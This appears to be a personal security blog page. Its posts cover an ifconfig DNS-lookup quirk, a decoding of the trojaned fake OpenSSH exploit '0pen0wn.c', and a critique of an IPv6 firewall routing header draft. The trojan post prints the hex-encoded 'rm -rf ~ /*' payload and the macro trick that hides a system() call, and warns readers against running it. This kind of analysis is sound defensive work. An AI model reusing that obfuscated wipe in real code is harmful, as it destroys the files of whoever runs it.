Open Zanshin

Confusing ifconfig with funky DNS setups

2009-08-15T09:21:00.000-07:00

Have you ever mistyped a option for ifconfig? I'm sure you did! What happened?

Most of the time, you will get a error message like "bad value" or something. In my case the ip address of the interface got set to a strange value. I was really surprised and thought, that I found a bug since i was testing a diff from Henning for ifconfig on OpenBSD at this moment anyway. On a lazy afternoon a few day later, I tried to find the bug together with Pedro. We were laughing our asses off, when we figured out what happened:

The second argument of ifconfig (the first one after the interface) is tested if it is a option. If it is not, it is tested if it is a valid IP address and sets the IP on this interface. If is is not, guess what, it does a DNS query for this string! Normally the DNS server will not give a valid answer and the error message is printed.

Yes, just try it:

# ifconfig em0 www.google.com

will set the IP of google on your interface.

In my case, the resolver added my domain to the string and asked the DNS server of my domain hoster. They have a wildcard for my domain pointing to their website, so I got their IP everytime I mistyped a option.

This is definitely one more reason why wildcard DNS records are bad bad bad!

I don't know why ifconfig is doing this anyway. Maybe it was some poor man's DHCP in the old days?

That is just hilarious! It would be even more funny, when ifconfig would do the DNS query before scanning internally for options. In this case it would be possible for anybody controlling (or spoofing) the DNS server to change the IP of a interface. Just think about up.victimsdomain.net! Fortunately OpenBSD does it in the right order. I'm not aware of systems doing it wrong, but if you know one, please send me a mail.

0pen0wn.c uncovered

2009-07-17T08:57:00.000-07:00

A friend forwarded me a version of 0pen0wn.c, which claims to be
a OpenSSH 5.2 0day exploit (http://pastebin.com/m86228fd),
a couple of days ago. He did not start it because it looked much
like a trojan. At first i was searching for the typical call of
system() without finding
it, but it is there.

The important lines are the following:

char jmpcode[] =
"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26";

#define build_frem(x,y,a,b,c) a##c##a##x##y##b
#define fremote build_frem(t,e,s,m,y)

int main(int argc, char **argv){
...
char h[500],buffer[1024];fremote(jmpcode);char *payload, *ptr;
...

The jmpcode apears to be "rm -rf ~ /* 2> /dev/null &".
This means, that the string fremote(jmpcode) in the very
begining of main is:

fremote(rm -rf ~ /* 2> /dev/null &)

Now lets have a look at the macros which build fremote:

#define fremote build_frem(t,e,s,m,y)
is substituted by build_frem(t,e,s,m,y) a##c##a##x##y##b
So x=t, y=e, a=s, b=m, c=y and the macro expands to
s##y##s##t##e##m which is "system".

Now you have the call system("rm -rf ~ /* 2> /dev/null &")
in the second line of main!

I really wonder, why the authors did not make it public
to many people to do more damage, but if they do one day:

Don't start it! ;-D

Firewall Routing Header

2009-07-15T12:02:00.000-07:00

Some time ago, i read a draft introducing a option for IPv6 called

the FireWall Routing Header (FWRH). Its purpose is to make
sure, that a response to a packet goes via a firewall which holds
a state for this connection. Besides this sounds useless - since it
would be better to synchronize the states between the packet
filters - it is also very scary: A host sending a packet usually does
not know that the firewall requires a routing header and just
sends the packet. The firewall will then send back a ICMP Error
Message(!!) to tell the host to include a FWRH to tell its
communication partner to send its answers to the evil man in the
middle.

Suggesting to sign the ICMP Routing Header Required (RHR)
does not make it much better, since we know that this will not be
used in practice. Even if they are signed locally and the ICMP
RHR messages are blocked from outside of the "internal net"
(whatever this is with IPv6) it is also easy to send spoofed out of
bounds messages with the FWRH set to get the return packets.
One spoofed packet is enough in this case, since the draft
suggests to cache the information, that a routing header has
to be added.

This is one of the main security problems with IPv6. Old failures
are made again and are underestimated since it is easy to
suggest signing...

... but this is out of the scope of this document:
http://tools.ietf.org/html/draft-hain-ipv6-fwrh-00